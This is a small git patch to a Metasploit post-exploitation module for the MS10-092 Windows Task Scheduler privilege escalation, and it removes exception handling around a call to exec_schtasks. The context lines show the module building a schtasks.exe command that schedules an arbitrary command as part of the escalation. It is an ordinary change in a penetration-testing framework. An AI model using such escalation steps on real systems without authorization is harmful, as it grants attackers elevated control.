From ec3c37d9636348390e44d9cc2dd4fcbc3de92262 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 25 Nov 2011 00:41:28 -0600 Subject: [PATCH] Actually, don't really have a good reason for that exception handling anymore. I think. --- modules/post/windows/escalate/ms10_092_schelevator.rb | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/modules/post/windows/escalate/ms10_092_schelevator.rb b/modules/post/windows/escalate/ms10_092_schelevator.rb index 4c42fdef33..bf70c37799 100644 --- a/modules/post/windows/escalate/ms10_092_schelevator.rb +++ b/modules/post/windows/escalate/ms10_092_schelevator.rb @@ -164,12 +164,7 @@ class Metasploit3 < Msf::Post print_status("Creating task: #{taskname}") cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f" # print_debug("Will Execute:\n\t#{cmdline}") - begin - exec_schtasks(cmdline, "create the task") - rescue ::Exception => e - print_error(e.to_s) - return - end + exec_schtasks(cmdline, "create the task") # # Read the contents of the newly creates task file